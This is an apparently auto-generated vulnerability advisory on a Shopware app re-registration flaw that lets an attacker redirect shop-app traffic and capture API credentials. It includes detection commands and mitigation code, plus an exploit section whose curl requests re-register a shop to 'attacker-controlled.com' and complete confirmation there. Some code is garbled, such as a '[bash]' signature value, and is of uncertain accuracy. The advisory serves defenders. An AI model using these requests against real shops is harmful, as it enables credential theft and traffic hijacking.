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How the mentioned CVE works:
The vulnerability resides in Shopware’s legacy app registration flow that uses HMAC-based authentication. During the initial app registration, a shop installation registers with an app by providing its domain (shop-url) and receives a shop secret. The flaw occurs during re-registration, where the system allows updating the `shop-url` without requiring proof of control over the previously registered domain. An attacker who possesses the app-side secret can initiate a re-registration request, supplying an attacker-controlled domain. The legacy flow lacks sufficient binding between the shop installation and its original domain, failing to validate that the party requesting the URL change still controls the original shop. The system accepts the new domain after only verifying the HMAC signature with the known app secret. Once the URL is updated, all subsequent app-to-shop communication routes through the attacker’s domain. This enables man-in-the-middle attacks where the attacker can intercept traffic, tamper with data (data poisoning), and potentially obtain the shop’s API integration credentials that grant the permissions originally assigned to the legitimate app. The attack prerequisites include knowledge of the app-side secret, which could be obtained through other means. The vulnerability specifically targets the app system’s registration mechanism, leaving the core storefront and administration authentication unaffected.
DailyCVE Form:
Platform: Shopware
Version: All affected versions
Vulnerability: Broken Access Control
Severity: Moderate
Date: 2025-04-08
Prediction: N/A (Patch released)
What Undercode Say:
Analytics:
Check app registration logs for unusual domain changes
grep "app registration" /var/log/shopware/app.log | grep -E "shop-url.https?://" | awk '{print $1, $2, $NF}'
Monitor for multiple re-registration attempts from same app
cat /var/log/shopware/app.log | grep "re-registration" | awk '{print $NF}' | sort | uniq -c | sort -nr
Detect potential hijacking by comparing old vs new shop URLs
mysql -u root -p shopware_db -e "SELECT app_name, shop_url, updated_at FROM app_registration WHERE updated_at > DATE_SUB(NOW(), INTERVAL 7 DAY);"
Check for apps that changed URL without corresponding shop secret rotation
grep "shop secret validation failed" /var/log/shopware/security.log | tail -20
Exploit:
Step 1: Intercept legitimate app registration data
(Requires prior acquisition of app-side secret)
Step 2: Craft malicious re-registration request with attacker domain
curl -X POST https://target-shop.com/api/app-system/register \
-H "Content-Type: application/json" \
-H "shopware-app-signature: [bash]" \
-d '{
"app_name": "victim-app",
"shop_url": "https://attacker-controlled.com",
"shop_id": "original-shop-id"
}'
Step 3: Legacy flow accepts without requiring original shop secret
Response contains new confirmation URL pointing to attacker domain
Step 4: Complete confirmation on attacker server
curl -X POST https://attacker-controlled.com/confirm \
-d '{"confirmation_code": "received_code"}'
Step 5: Intercept subsequent API credentials
Credentials sent to attacker domain during final handshake
Protection from this CVE:
Immediate patch application
composer require shopware/core:6.6.10.3
composer require shopware/platform:6.6.10.3
For older versions, install security plugin
composer require shopware/security-plugin:^2.0
Manual validation implementation (PHP)
<?php
// Validate both signatures during re-registration
if (!hash_equals($expectedAppSignature, $_SERVER['HTTP_SHOPWARE_APP_SIGNATURE']) ||
!hash_equals($expectedShopSignature, $_SERVER['HTTP_SHOPWARE_SHOP_SIGNATURE'])) {
throw new AccessDeniedException('Invalid signatures');
}
// Generate new shop secret on successful re-registration
$newShopSecret = bin2hex(random_bytes(32));
updateShopSecret($shopId, $newShopSecret);
// Verify original shop still controls domain
$originalShopUrl = getOriginalShopUrl($shopId);
if (!verifyDomainControl($originalShopUrl)) {
throw new AccessDeniedException('Original domain not verified');
}
?>
Nginx rate limiting for registration endpoints
limit_req_zone $binary_remote_addr zone=app_reg:10m rate=2r/m;
location /api/app-system/register {
limit_req zone=app_reg burst=1;
proxy_pass http://shopware-backend;
}
Enhanced logging configuration (monolog.yaml)
monolog:
channels: ['app_security']
handlers:
app_security:
type: stream
path: '%kernel.logs_dir%/app_security.log'
channels: ['app_security']
level: info
Impact:
- Communication channel hijacking between shop and app
- Data poisoning via intercepted and modified traffic
- Exposure of API credentials with app permissions
- Silent compromise appearing as “app malfunction”
- Potential lateral movement through compromised app permissions
- Financial and reputational damage from data breach
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Sources:
Reported By: github.com
Extra Source Hub:
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